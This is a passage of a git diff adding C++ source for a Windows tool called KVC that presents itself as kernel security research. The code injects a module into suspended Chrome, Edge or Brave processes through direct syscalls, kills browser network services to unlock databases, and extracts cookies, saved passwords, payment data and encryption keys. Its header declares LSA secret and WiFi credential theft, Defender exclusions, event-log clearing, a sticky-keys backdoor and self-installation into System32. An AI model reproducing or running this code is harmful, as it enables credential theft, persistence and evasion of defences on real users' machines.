std::string::npos) + m_stats.profileCount = extractNumber("Found ", " profile(s)"); + + if (message.find("Decrypted AES Key: ") != std::string::npos) + m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19); + + if (message.find(" cookies extracted to ") != std::string::npos) + m_stats.totalCookies += extractNumber("[*] ", " cookies"); + + if (message.find(" passwords extracted to ") != std::string::npos) + m_stats.totalPasswords += extractNumber("[*] ", " passwords"); + + if (message.find(" payments extracted to ") != std::string::npos) + m_stats.totalPayments += extractNumber("[*] ", " payments"); + } + + std::wstring m_pipeName; + const Console& m_console; + UniqueHandle m_pipeHandle; + ExtractionStats m_stats; +}; + +// Security module injection and execution manager +class InjectionManager +{ +public: + InjectionManager(TargetProcess& target, const Console& console) : m_target(target), m_console(console) {} + + // Execute security module in target process + void execute(const std::wstring& pipeName) + { + m_console.Debug("Loading security module from file: " + g_securityModulePath); + loadSecurityModuleFromFile(g_securityModulePath); + + m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point."); + DWORD rdiOffset = getInitializeSecurityContextOffset(); + if (rdiOffset == 0) + throw std::runtime_error("Could not find InitializeSecurityContext export in security module."); + m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset)); + + // Allocate memory in target process for module and parameters + m_console.Debug("Allocating memory for security module in target process."); + PVOID remoteModuleBase = nullptr; + SIZE_T moduleSize = m_moduleBuffer.size(); + SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t); + SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize; + + NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0, + &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status)); + m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase)); + + // Write security module to target process + m_console.Debug("Writing security module to target process memory."); + SIZE_T bytesWritten = 0; + status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase, + m_moduleBuffer.data(), moduleSize, &bytesWritten); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status)); + + // Write pipe name parameter + m_console.Debug("Writing pipe name parameter into the same allocation."); + LPVOID remotePipeNameAddr = reinterpret_cast(remoteModuleBase) + moduleSize; + status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, + (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status)); + + // Make module memory executable + m_console.Debug("Changing module memory protection to executable."); + ULONG oldProtect = 0; + status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, + &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status)); + + startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr); + m_console.Debug("New thread created for security module. Main thread remains suspended."); + } + +private: + // Load security module from disk + void loadSecurityModuleFromFile(const std::string& modulePath) + { + if (!fs::exists(modulePath)) + throw std::runtime_error("Security module not found: " + modulePath); + + std::ifstream file(modulePath, std::ios::binary); + if (!file) + throw std::runtime_error("Failed to open security module: " + modulePath); + + file.seekg(0, std::ios::end); + auto fileSize = file.tellg(); + file.seekg(0, std::ios::beg); + + m_moduleBuffer.resize(static_cast(fileSize)); + file.read(reinterpret_cast(m_moduleBuffer.data()), fileSize); + + if (!file) + throw std::runtime_error("Failed to read security module: " + modulePath); + + m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath); + } + + // Find InitializeSecurityContext export in PE headers + DWORD getInitializeSecurityContextOffset() + { + auto dosHeader = reinterpret_cast(m_moduleBuffer.data()); + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + auto ntHeaders = reinterpret_cast((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew); + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) + return 0; + + auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (exportDirRva == 0) + return 0; + + // RVA to file offset converter + auto RvaToOffset = [&](DWORD rva) -> PVOID + { + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section) + { + if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize) + { + return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress)); + } + } + return nullptr; + }; + + auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva); + if (!exportDir) return 0; + + auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames); + auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals); + auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions); + if (!names || !ordinals || !funcs) return 0; + + // Search for InitializeSecurityContext export + for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) + { + char* funcName = (char*)RvaToOffset(names[i]); + if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0) + { + PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]); + if (!funcOffsetPtr) return 0; + return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data()); + } + } + return 0; + } + + // Create new thread in target process to execute security module + void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr) + { + m_console.Debug("Creating new thread in target to execute InitializeSecurityContext."); + + uintptr_t entryPoint = reinterpret_cast(remoteModuleBase) + rdiOffset; + HANDLE hRemoteThread = nullptr; + + NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(), + (LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr); + + UniqueHandle remoteThreadGuard(hRemoteThread); + + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status)); + + m_console.Debug("Successfully created new thread for security module."); + } + + TargetProcess& m_target; + const Console& m_console; + std::vector m_moduleBuffer; +}; + +// Helper function to build extraction summary string +std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats) +{ + std::stringstream summary; + std::vector items; + + if (stats.totalCookies > 0) + items.push_back(std::to_string(stats.totalCookies) + " cookies"); + if (stats.totalPasswords > 0) + items.push_back(std::to_string(stats.totalPasswords) + " passwords"); + if (stats.totalPayments > 0) + items.push_back(std::to_string(stats.totalPayments) + " payments"); + + if (!items.empty()) + { + summary << "Extracted "; + for (size_t i = 0; i < items.size(); ++i) + { + if (i > 0 && i == items.size() - 1) + summary << " and "; + else if (i > 0) + summary << ", "; + summary << items[i]; + } + summary << " from " << stats.profileCount << " profile" << (stats.profileCount != 1 ? "s" : ""); + } + + return summary.str(); +} + +// Check if Windows built-in SQLite3 library is available +bool CheckWinSQLite3Available() +{ + HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll"); + if (hWinSQLite) + { + FreeLibrary(hWinSQLite); + return true; + } + return false; +} + +// Terminate browser network service processes to release database locks +void KillBrowserNetworkService(const Configuration& config, const Console& console) +{ + console.Debug("Scanning for and terminating browser network services..."); + + UniqueHandle hCurrentProc; + HANDLE nextProcHandle = nullptr; + int processes_terminated = 0; + + // Enumerate all processes on the system + while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, + 0, 0, &nextProcHandle))) + { + UniqueHandle hNextProc(nextProcHandle); + hCurrentProc = std::move(hNextProc); + + // Get process image name + std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); + auto imageName = reinterpret_cast(buffer.data()); + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, + imageName, (ULONG)buffer.size(), NULL)) || + imageName->Length == 0) + continue; + + fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); + if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) + continue; + + // Get process basic information and PEB + PROCESS_BASIC_INFORMATION pbi{}; + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, + &pbi, sizeof(pbi), nullptr)) || + !pbi.PebBaseAddress) + continue; + + PEB peb{}; + if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr))) + continue; + + RTL_USER_PROCESS_PARAMETERS params{}; + if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr))) + continue; + + // Read command line to identify network service processes + std::vector cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0); + if (params.CommandLine.Length > 0 && + !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, + cmdLine.data(), params.CommandLine.Length, nullptr))) + continue; + + // Check for network service process signature + if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService")) + { + console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId)); + NtTerminateProcess_syscall(hCurrentProc.get(), 0); + processes_terminated++; + } + } + + if (processes_terminated > 0) + { + console.Debug("Termination sweep complete. Waiting for file locks to fully release."); + Sleep(1500); + } +} + +// Execute complete security analysis workflow for a single browser +PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console) +{ + KillBrowserNetworkService(config, console); + + TargetProcess target(config, console); + target.createSuspended(); + + PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console); + pipe.create(); + + InjectionManager injector(target, console); + injector.execute(pipe.getName()); + + pipe.waitForClient(); + pipe.sendInitialData(config.verbose, config.outputPath); + pipe.relayMessages(); + + target.terminate(); + + return pipe.getStats(); +} + +// Display extraction results summary +void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats, + const Console& console, bool singleBrowser, const fs::path& outputPath) +{ + if (singleBrowser) + { + if (!stats.aesKey.empty()) + console.Success("AES Key: " + stats.aesKey); + + std::string summary = BuildExtractionSummary(stats); + if (!summary.empty()) + { + console.Success(summary); + console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); + } + else + { + console.Warn("No data extracted"); + } + } + else + { + console.Info(browserName); + + if (!stats.aesKey.empty()) + console.Success("AES Key: " + stats.aesKey); + + std::string summary = BuildExtractionSummary(stats); + if (!summary.empty()) + { + console.Success(summary); + console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); + } + else + { + console.Warn("No data extracted"); + } + } +} + +// Process all installed browsers sequentially +void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath) +{ + if (verbose) + console.Info("Starting multi-browser security analysis..."); + + BrowserPathResolver resolver(console); + auto installedBrowsers = resolver.findAllInstalledBrowsers(); + + if (installedBrowsers.empty()) + { + console.Error("No supported browsers found on this system"); + return; + } + + if (!verbose) + console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n"); + + int successCount = 0; + int failCount = 0; + + for (size_t i = 0; i < installedBrowsers.size(); ++i) + { + const auto& [browserType, browserPath] = installedBrowsers[i]; + + Configuration config; + config.verbose = verbose; + config.outputPath = outputPath; + config.browserType = browserType; + config.browserDefaultExePath = browserPath; + + // Map browser type to process name and display name + static const std::map> browserMap = { + {L"chrome", {L"chrome.exe", "Chrome"}}, + {L"edge", {L"msedge.exe", "Edge"}}, + {L"brave", {L"brave.exe", "Brave"}} + }; + + auto it = browserMap.find(browserType); + if (it != browserMap.end()) + { + config.browserProcessName = it->second.first; + config.browserDisplayName = it->second.second; + } + + if (verbose) + { + console.Info("\n[Browser " + std::to_string(i + 1) + "/" + std::to_string(installedBrowsers.size()) + + "] Processing " + config.browserDisplayName); + } + + try + { + auto stats = RunInjectionWorkflow(config, console); + successCount++; + + if (verbose) + { + console.Success(config.browserDisplayName + " analysis completed"); + } + else + { + DisplayExtractionSummary(config.browserDisplayName, stats, console, false, config.outputPath); + if (i < installedBrowsers.size() - 1) + std::cout << std::endl; + } + } + catch (const std::exception& e) + { + failCount++; + + if (verbose) + { + console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what())); + } + else + { + console.Info(config.browserDisplayName); + console.Error("Analysis failed"); + if (i < installedBrowsers.size() - 1) + std::cout << std::endl; + } + } + } + + std::cout << std::endl; + console.Info("Completed: " + std::to_string(successCount) + " successful, " + std::to_string(failCount) + " failed"); +} + +// Application entry point +int wmain(int argc, wchar_t* argv[]) +{ + bool isVerbose = false; + std::wstring browserTarget; + fs::path outputPath; + + // Validate required files before startup - only security module is mandatory + auto findSecurityModule = []() -> std::string { + // Try current directory first + if (fs::exists(SECURITY_MODULE_NAME)) + return SECURITY_MODULE_NAME; + + // Try system directory + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { + std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME; + if (fs::exists(systemPath)) + return systemPath; + } + + return ""; + }; + + g_securityModulePath = findSecurityModule(); + if (g_securityModulePath.empty()) + { + std::wcerr << L"Error: " << SECURITY_MODULE_NAME << L" not found in current directory or System32!" << std::endl; + return 1; + } + + // Parse command line arguments + for (int i = 1; i < argc; ++i) + { + std::wstring_view arg = argv[i]; + if (arg == L"--verbose" || arg == L"-v") + isVerbose = true; + else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) + outputPath = argv[++i]; + else if (arg == L"--help" || arg == L"-h") + { + Console(false).displayBanner(); + Console(false).printUsage(); + return 0; + } + else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-') + browserTarget = arg; + } + + Console console(isVerbose); + console.displayBanner(); + + // Check SQLite availability - system winsqlite3.dll preferred, fallback to local sqlite3.dll + if (!CheckWinSQLite3Available()) + { + console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll"); + if (!fs::exists("sqlite3.dll")) + { + console.Error("Neither winsqlite3.dll nor sqlite3.dll available"); + return 1; + } + } + + if (browserTarget.empty()) + { + console.printUsage(); + return 0; + } + + // Initialize direct syscalls for low-level operations + if (!InitializeSyscalls(isVerbose)) + { + console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked or gadgets not found."); + return 1; + } + + // Prepare output directory structure + if (outputPath.empty()) + outputPath = fs::current_path() / "output"; + + std::error_code ec; + if (!fs::exists(outputPath)) { + fs::create_directories(outputPath, ec); + if (ec) { + console.Error("Failed to create output directory: " + Utils::path_to_api_string(outputPath) + + ". Error: " + ec.message()); + return 1; + } + } + + // Execute browser security analysis + if (browserTarget == L"all") + { + try + { + ProcessAllBrowsers(console, isVerbose, outputPath); + } + catch (const std::exception& e) + { + console.Error(e.what()); + return 1; + } + } + else + { + auto optConfig = Configuration::CreateFromArgs(argc, argv, console); + if (!optConfig) + return 1; + + try + { + if (!isVerbose) + console.Info("Processing " + optConfig->browserDisplayName + "...\n"); + + auto stats = RunInjectionWorkflow(*optConfig, console); + + if (!isVerbose) + DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true, optConfig->outputPath); + else + console.Success("\nSecurity analysis completed successfully"); + } + catch (const std::runtime_error& e) + { + console.Error(e.what()); + return 1; + } + } + + console.Debug("Security orchestrator finished successfully."); + return 0; +} \ No newline at end of file diff --git a/kvc/Controller.h b/kvc/Controller.h new file mode 100644 index 0000000..7b6ccfd --- /dev/null +++ b/kvc/Controller.h @@ -0,0 +1,237 @@ +#pragma once + +#include "kvcDrv.h" +#include "OffsetFinder.h" +#include "TrustedInstallerIntegrator.h" +#include "Utils.h" +#include +#include +#include + +class ReportExporter; + +// Core kernel process structures +struct ProcessEntry +{ + ULONG_PTR KernelAddress; // EPROCESS structure address + DWORD Pid; // Process identifier + UCHAR ProtectionLevel; // PP/PPL/None protection level + UCHAR SignerType; // Digital signature authority + UCHAR SignatureLevel; // Executable signature verification level + UCHAR SectionSignatureLevel; // DLL signature verification level + std::wstring ProcessName; // Process executable name +}; + +struct ProcessMatch +{ + DWORD Pid = 0; + std::wstring ProcessName; + ULONG_PTR KernelAddress = 0; +}; + +// WinSQLite dynamic loading for browser database operations +struct SQLiteAPI +{ + HMODULE hModule = nullptr; + int (*open_v2)(const char*, void**, int, const char*) = nullptr; + int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr; + int (*step)(void*) = nullptr; + const unsigned char* (*column_text)(void*, int) = nullptr; + const void* (*column_blob)(void*, int) = nullptr; + int (*column_bytes)(void*, int) = nullptr; + int (*finalize)(void*) = nullptr; + int (*close_v2)(void*) = nullptr; +}; + +// Password extraction result structure +struct PasswordResult +{ + std::wstring type; // Chrome, Edge, WiFi credential type + std::wstring profile; // Browser/WiFi profile name + std::wstring url; // URL for browser logins + std::wstring username; // Login username + std::wstring password; // Decrypted password + std::wstring file; // Source file path + std::wstring data; // Additional data + std::wstring status; // DECRYPTED, ENCRYPTED, FAILED + uintmax_t size = 0; // Data size in bytes +}; + +// Registry master key for DPAPI operations +struct RegistryMasterKey +{ + std::wstring keyName; // Registry key path (DPAPI_SYSTEM, NL$KM, etc.) + std::vector encryptedData; // Raw encrypted data + std::vector decryptedData; // Decrypted data + bool isDecrypted = false; // Decryption success flag +}; + +// Main controller class with atomic operation management +class Controller +{ +public: + Controller(); + ~Controller(); + + Controller(const Controller&) = delete; + Controller& operator=(const Controller&) = delete; + Controller(Controller&&) noexcept = default; + Controller& operator=(Controller&&) noexcept = default; + + // Memory dumping operations with atomic driver management + bool DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept; + bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept; + + // Combined binary processing for kvc.dat + bool LoadAndSplitCombinedBinaries() noexcept; + bool WriteExtractedComponents(const std::vector& kvcPassData, + const std::vector& kvcCryptData) noexcept; + + // Process information operations with driver caching + bool ListProtectedProcesses() noexcept; + bool GetProcessProtection(DWORD pid) noexcept; + bool GetProcessProtectionByName(const std::wstring& processName) noexcept; + + // Process protection manipulation with atomic operations + bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + bool UnprotectProcess(DWORD pid) noexcept; + + bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + bool UnprotectProcessByName(const std::wstring& processName) noexcept; + bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + + bool UnprotectAllProcesses() noexcept; + bool UnprotectMultipleProcesses(const std::vector& targets) noexcept; + + // DPAPI password extraction with TrustedInstaller + bool ShowPasswords(const std::wstring& outputPath) noexcept; + bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept; + + // Enhanced system integration with comprehensive Defender exclusion management + bool RunAsTrustedInstaller(const std::wstring& commandLine); + bool RunAsTrustedInstallerSilent(const std::wstring& command); + bool AddContextMenuEntries(); + + // Legacy exclusion management (backward compatibility) + bool AddToDefenderExclusions(const std::wstring& customPath = L""); + bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); + + // Enhanced exclusion management with type specification + bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value); + bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value); + + // Type-specific exclusion convenience methods + bool AddExtensionExclusion(const std::wstring& extension); + bool RemoveExtensionExclusion(const std::wstring& extension); + bool AddIpAddressExclusion(const std::wstring& ipAddress); + bool RemoveIpAddressExclusion(const std::wstring& ipAddress); + bool AddProcessExclusion(const std::wstring& processName); + bool RemoveProcessExclusion(const std::wstring& processName); + bool AddPathExclusion(const std::wstring& path); + bool RemovePathExclusion(const std::wstring& path); + + // Event log clearing operations with administrative privileges + bool ClearSystemEventLogs() noexcept; + + // Legacy driver management for compatibility + bool InstallDriver() noexcept; + bool UninstallDriver() noexcept; + bool StartDriverService() noexcept; + bool StopDriverService() noexcept; + bool StartDriverServiceSilent() noexcept; + std::vector ExtractEncryptedDriver() noexcept; + std::vector DecryptDriver(const std::vector& encryptedData) noexcept; + + // Self-protection operations + bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + std::optional ResolveNameWithoutDriver(const std::wstring& processName) noexcept; + + // Sticky keys backdoor management + bool InstallStickyKeysBackdoor() noexcept; + bool RemoveStickyKeysBackdoor() noexcept; + +private: + // Core components + TrustedInstallerIntegrator m_trustedInstaller; + std::unique_ptr m_rtc; + std::unique_ptr m_of; + SQLiteAPI m_sqlite; + + // Privilege and system management + bool EnablePrivilege(LPCWSTR privilegeName) noexcept; + bool EnableDebugPrivilege() noexcept; + + // Enhanced file writing with TrustedInstaller privileges + bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept; + + // PE splitting with enhanced validation + bool SplitCombinedPE(const std::vector& combinedData, + std::vector& kvcPassData, + std::vector& kvcCryptData) noexcept; + + // Atomic driver operations for stability + bool EnsureDriverAvailable() noexcept; + bool IsDriverCurrentlyLoaded() noexcept; + bool PerformAtomicInit() noexcept; + bool PerformAtomicInitWithErrorCleanup() noexcept; + + // Silent driver installation + bool InstallDriverSilently() noexcept; + bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept; + + // Kernel process management + std::optional GetInitialSystemProcessAddress() noexcept; + std::optional GetProcessKernelAddress(DWORD pid) noexcept; + std::vector GetProcessList() noexcept; + std::optional GetProcessProtection(ULONG_PTR addr) noexcept; + bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept; + + // Process pattern matching with regex support + std::vector FindProcessesByName(const std::wstring& pattern) noexcept; + bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept; + + // Memory dumping with comprehensive protection handling + bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept; + bool SetCurrentProcessProtection(UCHAR protection) noexcept; + + // DPAPI extraction lifecycle + bool PerformPasswordExtractionInit() noexcept; + void PerformPasswordExtractionCleanup() noexcept; + + // Registry master key extraction with TrustedInstaller + bool ExtractRegistryMasterKeys(std::vector& masterKeys) noexcept; + bool ExtractLSASecretsViaTrustedInstaller(std::vector& masterKeys) noexcept; + bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector& masterKeys) noexcept; + bool ConvertHexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept; + + // Registry master key processing for enhanced display + bool ProcessRegistryMasterKeys(std::vector& masterKeys) noexcept; + std::string BytesToHexString(const std::vector& bytes) noexcept; + + // Browser password processing with AES-GCM decryption + bool ProcessBrowserPasswords(const std::vector& masterKeys, std::vector& results, const std::wstring& outputPath) noexcept; + bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector& masterKeys, std::vector& results, const std::wstring& outputPath) noexcept; + bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector& masterKeys, std::vector& decryptedKey) noexcept; + int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector& masterKey, std::vector& results, const std::wstring& outputPath) noexcept; + + // WiFi credential extraction via netsh + bool ExtractWiFiCredentials(std::vector& results) noexcept; + + // SQLite database operations + bool LoadSQLiteLibrary() noexcept; + void UnloadSQLiteLibrary() noexcept; + + // Cryptographic operations for DPAPI and Chrome AES-GCM + std::vector Base64Decode(const std::string& encoded) noexcept; + std::vector DecryptWithDPAPI(const std::vector& encryptedData, const std::vector& masterKeys) noexcept; + std::string DecryptChromeAESGCM(const std::vector& encryptedData, const std::vector& key) noexcept; + + // Process name resolution with driver-free options + std::optional ResolveProcessName(const std::wstring& processName) noexcept; + std::vector FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept; + + // Emergency cleanup for atomic operations + bool PerformAtomicCleanup() noexcept; + +}; \ No newline at end of file diff --git a/kvc/ControllerBinaryManager.cpp b/kvc/ControllerBinaryManager.cpp new file mode 100644 index 0000000..f4eeec6 --- /dev/null +++ b/kvc/ControllerBinaryManager.cpp @@ -0,0 +1,260 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerBinaryManager.cpp - Fixed compilation issues +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include "TrustedInstallerIntegrator.h" +#include + +namespace fs = std::filesystem; + +bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept +{ + // First attempt: normal write operation + if (Utils::WriteFile(filePath, data)) { + return true; + } + + // If normal write fails, check if file exists and handle system files + const DWORD attrs = GetFileAttributesW(filePath.c_str()); + if (attrs != INVALID_FILE_ATTRIBUTES) { + INFO(L"Target file exists, attempting privileged overwrite: %s", filePath.c_str()); + + // Clear restrictive attributes first + if (attrs & (FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)) { + SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL); + } + + // Force delete if still locked + if (!DeleteFileW(filePath.c_str())) { + // Use TrustedInstaller for stubborn files - call on instance + std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\""; + if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) { + ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str()); + return false; + } + } + } + + // Retry normal write after cleanup + if (Utils::WriteFile(filePath, data)) { + return true; + } + + // Final fallback: use TrustedInstaller to write file + const fs::path tempDir = fs::temp_directory_path(); + const fs::path tempFile = tempDir / fs::path(filePath).filename(); + + // Write to temp location first + if (!Utils::WriteFile(tempFile.wstring(), data)) { + ERROR(L"Failed to write to temporary location: %s", tempFile.c_str()); + return false; + } + + // Copy from temp to target with TrustedInstaller - call on instance + std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\""; + bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd); + + // Cleanup temp file + DeleteFileW(tempFile.c_str()); + + if (!copySuccess) { + ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str()); + return false; + } + + return true; +} + +// Enhanced file writing with TrustedInstaller privileges and proper overwrite handling +bool Controller::WriteExtractedComponents(const std::vector& kvcPassData, + const std::vector& kvcCryptData) noexcept +{ + INFO(L"Writing extracted components to target locations"); + + try { + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) { + ERROR(L"Failed to get System32 directory path"); + return false; + } + + const fs::path system32Dir = systemDir; + const fs::path kvcPassPath = system32Dir / KVC_PASS_FILE; + const fs::path kvcCryptPath = system32Dir / KVC_CRYPT_FILE; + const fs::path kvcMainPath = system32Dir / L"kvc.exe"; + + INFO(L"Target paths - kvc_pass.exe: %s", kvcPassPath.c_str()); + INFO(L"Target paths - kvc_crypt.dll: %s", kvcCryptPath.c_str()); + INFO(L"Target paths - kvc.exe: %s", kvcMainPath.c_str()); + + // Get current executable path for self-copy + wchar_t currentExePath[MAX_PATH]; + if (GetModuleFileNameW(nullptr, currentExePath, MAX_PATH) == 0) { + ERROR(L"Failed to get current executable path"); + return false; + } + + auto currentExeData = Utils::ReadFile(currentExePath); + if (currentExeData.empty()) { + ERROR(L"Failed to read current executable for self-copy"); + return false; + } + + // Write all components using enhanced method with privilege escalation + bool allSuccess = true; + + // Write kvc_pass.exe + if (!WriteFileWithPrivileges(kvcPassPath.wstring(), kvcPassData)) { + ERROR(L"Failed to write kvc_pass.exe to System32 directory"); + allSuccess = false; + } else { + INFO(L"Successfully wrote kvc_pass.exe (%zu bytes)", kvcPassData.size()); + } + + // Write kvc_crypt.dll + if (!WriteFileWithPrivileges(kvcCryptPath.wstring(), kvcCryptData)) { + ERROR(L"Failed to write kvc_crypt.dll to System32 directory"); + allSuccess = false; + // Cleanup on partial failure + DeleteFileW(kvcPassPath.c_str()); + } else { + INFO(L"Successfully wrote kvc_crypt.dll (%zu bytes)", kvcCryptData.size()); + } + + // Write kvc.exe (self-copy) + if (!WriteFileWithPrivileges(kvcMainPath.wstring(), currentExeData)) { + ERROR(L"Failed to write kvc.exe to System32 directory"); + allSuccess = false; + // Cleanup on partial 